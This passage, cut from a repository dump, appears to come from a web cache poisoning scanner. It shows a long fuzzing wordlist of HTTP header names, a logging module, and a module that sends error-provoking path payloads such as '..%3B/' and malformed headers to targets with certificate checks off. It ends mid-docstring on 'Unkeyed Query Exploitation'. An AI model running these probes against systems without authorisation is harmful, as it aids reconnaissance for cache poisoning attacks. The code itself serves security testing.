853 | download-e-invalid-file
854 | download-e-invalid-param
855 | download-e-invalid-request
856 | download-e-invalid-resource
857 | download-e-no-ext-mmagic
858 | download-e-no-ext-zlib
859 | download-inline
860 | download-tar
861 | download-tgz
862 | download-zip
863 | header-lf
864 | header-status-client-error
865 | header-status-informational
866 | header-status-redirect
867 | header-status-server-error
868 | header-status-successful
869 | https-from-lb
870 | meth-delete
871 | meth-head
872 | meth-post
873 | multipart-boundary
874 | originator
875 | php
876 | recipient
877 | request-error
878 | request-vars
879 | secretkey
880 | status-ok
881 | xauthorization
882 | x-codeception-codecoverage
883 | x-codeception-codecoverage-config
884 | x-codeception-codecoverage-debug
885 | x-codeception-codecoverage-suite
886 | x-csrf-token
887 | x-dokuwiki-do
888 | x-helpscout-signature
889 | x-nokia-bearer
890 | xonnection
891 | x-purpose
892 | xroxy-connection
893 | x-user
894 | bae-env-appid
895 | catalog-server
896 | cookie-path
897 | custom-header
898 | forwarded-for-ip
899 | meth-get
900 | meth-put
901 | opencart
902 | unless-modified-since
903 | www-address
904 | x-content-type
905 | x-hub-signature
906 | x-signature
907 | bae-env-addr-sql-ip
908 | bae-env-addr-sql-port
909 | cache-info
910 | client-error-cannot-access-local-file
911 | client-error-cannot-connect
912 | client-error-communication-failure
913 | client-error-invalid-parameters
914 | client-error-invalid-server-address
915 | client-error-no-error
916 | client-error-protocol-failure
917 | client-error-unspecified-error
918 | error-formatting-html
919 | lock-token
920 | onerror-continue
921 | onerror-die
922 | overwrite
923 | prefer
924 | shib-application-id
925 | x-fireloggerauth
926 | cookie-domain
927 | https
928 | modauth
929 | port
930 | post
931 | read-state-begin
932 | read-state-body
933 | read-state-headers
934 | socket-connection-err
935 | str-match
936 | transport-err
937 | coming-from
938 | nl
939 | ua-pixels
940 | x-coming-from
941 | x-jphone-display
942 | x-up-devcap-screenpixels
943 | x-whatever
944 | appname
945 | proxy-port
946 | version
947 | x-forward-for
948 | proxy-user
949 | x-em-uid
950 | x-file-type
951 | bar
952 | proxy
953 | timeout
954 | referrer
955 | x-forwarded-ssl
956 | x-jphone-uid
957 | x-file-size
958 | accepted
959 | appcookie
960 | bad-gateway
961 | bae-env-addr-bcs
962 | conflict
963 | continue
964 | created
965 | expectation-failed
966 | failed-dependency
967 | gateway-time-out
968 | gone
969 | insufficient-storage
970 | internal-server-error
971 | length-required
972 | locked
973 | method-not-allowed
974 | moved-permanently
975 | moved-temporarily
976 | multiple-choices
977 | multi-status
978 | no-content
979 | non-authoritative
980 | not-acceptable
981 | not-extended
982 | not-implemented
983 | not-modified
984 | partial-content
985 | payment-required
986 | precondition-failed
987 | processing
988 | proxy-authentication-required
989 | range-not-satisfiable
990 | request-entity-too-large
991 | request-time-out
992 | request-uri-too-large
993 | reset-content
994 | see-other
995 | service-unavailable
996 | switching-protocols
997 | temporary-redirect
998 | unprocessable-entity
999 | unsupported-media-type
1000 | upgrade-required
1001 | use-proxy
1002 | variant-also-varies
1003 | version-not-supported
1004 | x-operamini-phone
1005 | bad-request
1006 | forbidden
1007 | unauthorized
1008 | user-agent-via
1009 | appversion
1010 | not-found
1011 | x-pjax
1012 | cf-connecting-ip
1013 | x-dcmguid
1014 | foo
1015 | info-download-size
1016 | info-download-time
1017 | info-return-code
1018 | info-total-request-stat
1019 | info-total-response-stat
1020 | x-firelogger
1021 | content-md5
1022 | x-up-subno
1023 | bae-env-ak
1024 | bae-env-sk
1025 | if
1026 | ok
1027 | url-join-path
1028 | url-join-query
1029 | url-replace
1030 | url-strip-all
1031 | url-strip-auth
1032 | url-strip-fragment
1033 | url-strip-pass
1034 | url-strip-path
1035 | url-strip-port
1036 | url-strip-query
1037 | url-strip-user
1038 | depth
1039 | x-file-name
1040 | x-moz
1041 | x-ucbrowser-device-ua
1042 | device-stock-ua
1043 | mod-rewrite
1044 | x-nokia-ipaddress
1045 | x-bolt-phone-ua
1046 | x-original-user-agent
1047 | x-skyfire-phone
1048 | title
1049 | ssl-https
1050 | request-error-file
1051 | request-error-gzip-crc
1052 | request-error-gzip-data
1053 | request-error-gzip-method
1054 | request-error-gzip-read
1055 | request-error-proxy
1056 | request-error-redirects
1057 | request-error-response
1058 | request-error-url
1059 | slug
1060 | x-att-deviceid
1061 | authentication
1062 | x-firephp-version
1063 | x-mobile-gateway
1064 | request-mbstring
1065 | x-device-user-agent
1066 | x-huawei-userid
1067 | x-orange-id
1068 | x-vodafone-3gpdpcontext
1069 | x-wap-clientid
1070 | ua-cpu
1071 | wap-connection
1072 | x-nokia-gateway-id
1073 | ua-os
1074 | body-maxlength
1075 | body-truncated
1076 | max-forwards
1077 | mimetype
1078 | verify-cert
1079 | request-http-ver-1-0
1080 | request-http-ver-1-1
1081 | request-method-delete
1082 | request-method-get
1083 | request-method-head
1084 | request-method-options
1085 | request-method-post
1086 | request-method-put
1087 | request-method-trace
1088 | x-operamini-phone-ua
1089 | status
1090 | x-update
1091 | method
1092 | forwarded-for
1093 | x-forwarded
1094 | scheme
1095 | x-forwarded-server
1096 | origin
1097 | x-client-ip
1098 | x-prototype-version
1099 | clientaddress
1100 | base
1101 | pc-remote-addr
1102 | post-files
1103 | session-vars
1104 | cookie-vars
1105 | env-vars
1106 | get-vars
1107 | server-vars
1108 | x-forwarded-host
1109 | x-requested-with
1110 | referer
1111 | host
1112 | alt-used
1113 | x-original-url~/%s
1114 | x-rewrite-url~/%s
1115 | command
1116 | __requesturi
1117 | __requestverb
1118 | x-http-status-code-override
1119 | x-amzn-remapped-host
1120 | x-amz-website-redirect-location
1121 | x-up-devcap-post-charset
1122 | http_sm_authdirname
1123 | http_sm_authdirnamespace
1124 | http_sm_authdiroid
1125 | http_sm_authdirserver
1126 | http_sm_authreason
1127 | http_sm_authtype
1128 | http_sm_dominocn
1129 | http_sm_realm
1130 | http_sm_realmoid
1131 | http_sm_sdomain
1132 | http_sm_serveridentityspec
1133 | http_sm_serversessionid
1134 | http_sm_serversessionspec
1135 | http_sm_sessiondrift
1136 | http_sm_timetoexpire
1137 | http_sm_transactionid
1138 | http_sm_universalid
1139 | http_sm_user
1140 | http_sm_userdn
1141 | http_sm_usermsg
1142 | x-remote-ip
1143 | traceparent
1144 | tracestate
1145 | x-user-ip
1146 | x-proxied-user-ip
1147 | x-proxyuser-ip
1148 | cast-device-capabilities
1149 | content-transfer-encoding
1150 | developer-token
1151 | financial-institution-id
1152 | gdata-version
1153 | hotrod-board-name
1154 | hotrod-chrome-cpu-model
1155 | hotrod-chrome-processors
1156 | linked-customer-id
1157 | login-customer-id
1158 | mime-version
1159 | origintoken
1160 | request-id
1161 | unzipped-content-md5
1162 | want-digest
1163 | x-ad-manager-debug-info
1164 | x-ad-manager-impersonation
1165 | x-alkali-account-key
1166 | x-alkali-application-key
1167 | x-alkali-auth-apps-namespace
1168 | x-alkali-auth-entities-namespace
1169 | x-alkali-auth-entity
1170 | x-alkali-client-locale
1171 | x-android-cert
1172 | x-android-package
1173 | x-ariane-xsrf-token
1174 | x-chrome-connected
1175 | x-client-data
1176 | x-client-version
1177 | x-clientdetails
1178 | x-compass-routing-destination
1179 | x-correlation-id
1180 | x-debug-tracking-id
1181 | x-earth-engine-app-id-token
1182 | x-earth-engine-computation-profile
1183 | x-earth-engine-computation-profiling
1184 | x-firebase-appcheck
1185 | x-firebase-auth-token
1186 | x-firebase-client
1187 | x-firebase-client-log-type
1188 | x-firebase-gmpid
1189 | x-firebase-locale
1190 | x-firebase-token
1191 | x-foyer-client-environment
1192 | x-framework-xsrf-token
1193 | x-gdata-client
1194 | x-gdata-key
1195 | x-geo
1196 | x-ios-bundle-identifier
1197 | x-javascript-user-agent
1198 | x-origin
1199 | x-pan-versionid
1200 | x-referer
1201 | x-rfui-request-context
1202 | x-sdm-id-token
1203 | x-server-object-version
1204 | x-server-timeout
1205 | x-server-token
1206 | x-sfdc-authorization
1207 | x-stadia-client-context
1208 | x-upload-content-length
1209 | x-use-alt-service
1210 | x-use-http-status-code-override
1211 | x-now-route-matches
1212 | x-invoke-status
1213 | x-invoke-query
1214 | x-invoke-error
1215 | x-invoke-output
1216 | x-invoke-path
1217 | x-middleware-invoke
1218 | x-middleware-prefetch
1219 |
--------------------------------------------------------------------------------
/modules/logging_config.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | This module provides functions to configure logging for a Python application.
6 |
7 | Functions:
8 | valid_log_level(level: str) -> str:
9 |
10 | configure_logger(module_name: str) -> logging.Logger:
11 |
12 | configure_logging(verbose: int, log: int, log_file: str = "./logs/%Y%m%d_%H%M.log"):
13 | verbose (int): The verbosity level.
14 | log (int): The logging level to set (e.g., DEBUG, INFO, etc.).
15 | log_file (str): The file path pattern for the log file. Defaults "./logs/%Y%m%d_%H%M.log".
16 | """
17 |
18 | import logging
19 | import logging.config
20 | from time import strftime
21 |
22 |
23 | def valid_log_level(level: str) -> str:
24 | """
25 | Validates and returns the corresponding logging level name.
26 |
27 | Args:
28 | level (str): The log level to validate ('DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL')
29 |
30 | Returns:
31 | str: The corresponding logging level name if valid.
32 |
33 | Raises:
34 | ValueError: If the provided log level is invalid.
35 | """
36 | try:
37 | return logging.getLevelName(level.upper())
38 | except ValueError as exc:
39 | raise ValueError(f"Invalid log level: {level}") from exc
40 |
41 |
42 | def configure_logger(module_name: str) -> logging.Logger:
43 | """
44 | Configures and returns a logger instance for the specified module.
45 |
46 | This function sets up a logger for the given module name with a default logging level of DEBUG.
47 |
48 | Args:
49 | module_name (str): The name of the module for which the logger is being configured.
50 |
51 | Returns:
52 | logging.Logger: A logger instance configured for the specified module.
53 | """
54 | logger = logging.getLogger(module_name)
55 | logger.setLevel(logging.DEBUG)
56 | return logger
57 |
58 |
59 | def configure_logging(verbose:int, log: int, log_file: str = "./logs/%Y%m%d_%H%M.log"):
60 | """
61 | Configures the logging level for the root logger.
62 |
63 | Args:
64 | verbose (int): The verbosity level.
65 | log (int): The logging level to set (e.g., DEBUG, INFO, etc.).
66 | log_file (str): The file path pattern for the log file. Defaults "./logs/%Y%m%d_%H%M.log".
67 | """
68 | log_level = log
69 |
70 | if verbose:
71 | log_level = max(logging.DEBUG, logging.WARNING - verbose * 10)
72 | else:
73 | log_level = log
74 |
75 | custom_logger_config = {
76 | "version": 1,
77 | "disable_existing_loggers": False,
78 | "formatters": {
79 | "customFormatter": {
80 | "format": "%(asctime)s - %(name)s - %(levelname)s - %(message)s"
81 | }
82 | },
83 | "handlers": {
84 | "fileHandler": {
85 | "class": "logging.FileHandler",
86 | "formatter": "customFormatter",
87 | "level": log_level,
88 | "filename": strftime(log_file),
89 | "mode": "w",
90 | },
91 | },
92 | "loggers": {
93 | "": {"handlers": ["fileHandler"], "level": log_level, "propagate": False}
94 | },
95 | }
96 | logging.config.dictConfig(custom_logger_config)
97 |
--------------------------------------------------------------------------------
/modules/server_error.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | Check difference between server error and basic response
6 | """
7 |
8 | from modules.utils import requests, configure_logger
9 |
10 | logger = configure_logger(__name__)
11 |
12 | def get_server_error(url, base_header, authent, url_file):
13 | print("\033[36m ├ Server error analysis\033[0m")
14 | error_header = []
15 | valid_error = False
16 | error_length = 0
17 |
18 | payloads_error = ["%2a","%EXT%", "%ff", "%0A", "..%3B/", "..%3B", "%2e"]
19 | for p in payloads_error:
20 | url_error = f"{url}{p}" if url[-1] == "/" else f"{url}/{p}"
21 | try:
22 | req_error = requests.get(url_error, verify=False, headers={'User-agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko'}, timeout=10, auth=authent)
23 |
24 | if req_error.status_code in [400, 500] and not valid_error:
25 | print(f" i - 400 error code with {p} payload [{len(req_error.content)} bytes]")
26 |
27 | if error_length != len(req_error.content):
28 | error_length = len(req_error.content)
29 | valid_error = True
30 |
31 | for re in req_error.headers:
32 | error_header.append(f"{re}: {req_error.headers[re]}")
33 | for eh in error_header:
34 | if eh not in base_header:
35 | # IDK why but the map or lambda fctn seem bad with threading...
36 | if not url_file:
37 | error_header = list(map(lambda x, eh=eh: x.replace(eh, f"\033[33m{eh}\033[0m"), error_header))
38 | else:
39 | pass
40 |
41 | if len(error_header) < len(base_header):
42 | while len(error_header) != len(base_header):
43 | error_header.append("")
44 | print("")
45 | print(f" \033[36m200 response header\033[0m {' ':<25} \033[36m400 response header\033[0m")
46 | for pbh, peh in zip(base_header, error_header):
47 | pbh = pbh.replace(pbh[40:], "...") if len(pbh) > 40 else pbh
48 | peh = peh.replace(peh[60:], "...\033[0m") if len(peh) > 60 else peh
49 | print(' {pbh:<45} → {peh:<15}'.format(pbh=pbh, peh=peh))
50 | print("")
51 | else:
52 | pass
53 | except requests.RequestException as e:
54 | print(f" ! Error with {p} payload")
55 | logger.exception(e)
56 | header_cache_error(url, authent)
57 |
58 |
59 | def header_cache_error(url, authent):
60 | headers = {"\\":"1"}
61 | try:
62 | hce_req = requests.get(url, headers=headers, verify=False, timeout=10, auth=authent)
63 | if hce_req.status_code == 400:
64 | print(f" i - 400 error code with {headers} payload header [{len(hce_req.content)} bytes]")
65 | #print(hce_req.headers)
66 | except requests.RequestException as e:
67 | print(f" i - Error code with {headers} payload header ")
68 | logger.exception(e)
69 |
--------------------------------------------------------------------------------
/modules/technologies.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | from modules.technos.apache import apache
5 | from modules.technos.nginx import nginx
6 | from modules.technos.envoy import envoy
7 | from modules.technos.akamai import akamai
8 | from modules.technos.fastly import fastly
9 | from modules.technos.cloudflare import cloudflare
10 | from modules.technos.imperva import imperva
11 | from modules.technos.vercel import vercel
12 |
13 | class technology:
14 | """
15 | forwarded:
16 | nginx:
17 | X-Real-IP
18 | Forwarded
19 | apache:
20 | X-Forwarded-Server
21 | X-Real-IP
22 | Max-Forwards
23 | Unkeyed Query Exploitation:
24 | Apache: // | //?">